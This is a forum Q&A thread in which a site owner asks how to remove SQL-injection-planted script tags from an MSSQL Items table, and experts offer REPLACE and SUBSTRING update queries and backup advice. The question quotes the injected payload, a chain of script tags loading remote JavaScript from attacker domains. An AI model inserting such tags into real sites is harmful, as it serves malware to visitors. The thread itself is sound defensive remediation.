Solved

Simple SQL question - delete any occurence in a single field

Posted on 2008-06-26
14
300 Views
Last Modified: 2010-04-21
Hi, I have a MSSQL db. I have been hit with a SQL Injection attack. I have someone trying to shore it up for me, but in the meantime, how can i simply delete any occurence of this:

<script src=http://www.app52.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.dbupdr.com/b.js></script><script src=http://www.rid34.com/b.js></script><script src=http://www.dl251.com/b.js></script>

it is at the end of every "Description" field in my Items table.

I don't know much about SQL at all, but wondered if you can tell me how I can at least delete the code so my site will run in the meantime while he's trying to find a permanent solution to limit our vulnerability.

I wanted this developer to do it, but so far I'm not too confident in his abilities.

Thanks much.
0
Comment
Question by:Cindy0904
  • 7
  • 3
  • 2
  • +1
14 Comments
 
LVL 60

Accepted Solution

by:
chapmandew earned 100 total points
ID: 21877386
you could do this several times for each snippet above:

update tablename
set description = replace(description, '<script src=http://www.app52.com/b.js></script>', '')
0
 
LVL 19

Expert Comment

by:folderol
ID: 21877439
update tablename
set description = substring(description, 1, charindex('<script src', description)-1)
0
 

Author Comment

by:Cindy0904
ID: 21877930
thanks for the responses. folderol, I don't even know enough to understand what you mean. Can you add the exact code?

Is this right? Since my table name is Items? I'm afraid and want to make sure i don't mess it up worse.

update Items
set description = substring(description, 1, charindex('<script src', description)-1)

Thanks a lot!
0
PRTG Network Monitor: Intuitive Network Monitoring

Network Monitoring is essential to ensure that computer systems and network devices are running. Use PRTG to monitor LANs, servers, websites, applications and devices, bandwidth, virtual environments, remote systems, IoT, and many more. PRTG is easy to set up & use.

 
LVL 60

Expert Comment

by:chapmandew
ID: 21877948
looks right to me.
0
 

Author Comment

by:Cindy0904
ID: 21878011
Hmm, here's what i get when I tried it:

Server Error in '/MSSQL' Application.
--------------------------------------------------------------------------------

A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").
Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.Form value was detected from the client (sqlstmt="...harindex('<script src', descri...").

Source Error:

The source code that generated this unhandled exception can only be shown when compiled in debug mode. To enable this, please follow one of the below steps, then request the URL:

1. Add a "Debug=true" directive at the top of the file that generated the error. Example:

  <%@ Page Language="C#" Debug="true" %>

or:

2) Add the following section to the configuration file of your application:

<configuration>
   <system.web>
       <compilation debug="true"/>
   </system.web>
</configuration>

Note that this second technique will cause all files within a given application to be compiled in debug mode. The first technique will cause only that particular file to be compiled in debug mode.

Important: Running applications in debug mode does incur a memory/performance overhead. You should make sure that an application has debugging disabled before deploying into production scenario.  
0
 
LVL 19

Expert Comment

by:folderol
ID: 21878103
I am not familiar enough with SQL programming security to be much help, but if you are getting this message in Query Analyzer, and you suspect a lot of table damage, you might have to create a new database and write the good data to it using insert.  Then truncate or drop the old tables and copy the tables back.

This is a super conservative approach anyway, since with this way you don't need backups.  You never update the original tables until you have a working, satisfactory copy.  Your case may not require such thoroughness.

As a test, do

select substring(description, 1, charindex('<script src', description)-1) as description
from items into #tmp_items

select * from #tmp_items

See if the same error occurs.  This won't prove anything really, since someone else may have advice about how to make the update work.
0
 
LVL 19

Assisted Solution

by:folderol
folderol earned 100 total points
ID: 21878113
Sorry, typo....

select substring(description, 1, charindex('<script src', description)-1) as description
into #tmp_items
from items
select * from #tmp_items
0
 

Author Comment

by:Cindy0904
ID: 21878521
i just keep getting the same error message as above...
0
 

Author Comment

by:Cindy0904
ID: 21878695
can i pay one of you to go in and remove the code so our site would work? Until we can secure it, it may be back, but if you can then tell me the code to delete it, that would help till the permanent fix.
I'm desperate. Every minute costs money. thanks.
0
 
LVL 8

Expert Comment

by:pzozulka
ID: 21879795
What about back ups of the DB. It would definetly be a quick fix. Just re upload the latest copy of your website and the latest copy of your database.
0
 

Author Comment

by:Cindy0904
ID: 21879823
Yes, my brother unfortunately made a lot of changes before the next backup was made, so he didn't want to lose the changes. thanks.
0
 
LVL 8

Assisted Solution

by:pzozulka
pzozulka earned 50 total points
ID: 21879830
If time is of the essence and you don't see a solution in the near future, I would backup everything that I have now, and restore it to a test environment.

In the meantime, restore the latest backup. At least you will have something to work with.
0
 

Author Comment

by:Cindy0904
ID: 21881011
I never could get around that error message, but the developer finally came around and fixed it. Still don't know if it's fixed up to par to guard against future attacks, but I guess we'll backup, backup & wait and see. Thanks for all the help. :)
0
 

Author Closing Comment

by:Cindy0904
ID: 31471105
thanks guys!
0

Featured Post

Optimizing Cloud Backup for Low Bandwidth

With cloud storage prices going down a growing number of SMBs start to use it for backup storage. Unfortunately, business data volume rarely fits the average Internet speed. This article provides an overview of main Internet speed challenges and reveals backup best practices.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Occasionally there is a need to clean table columns, especially if you have inherited legacy data. There are obviously many ways to accomplish that, including elaborate UPDATE queries with anywhere from one to numerous REPLACE functions (even within…
JSON is being used more and more, besides XML, and you surely wanted to parse the data out into SQL instead of doing it in some Javascript. The below function in SQL Server can do the job for you, returning a quick table with the parsed data.
Via a live example, show how to extract insert data into a SQL Server database table using the Import/Export option and Bulk Insert.
Viewers will learn how to use the SELECT statement in SQL and will be exposed to the many uses the SELECT statement has.

809 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question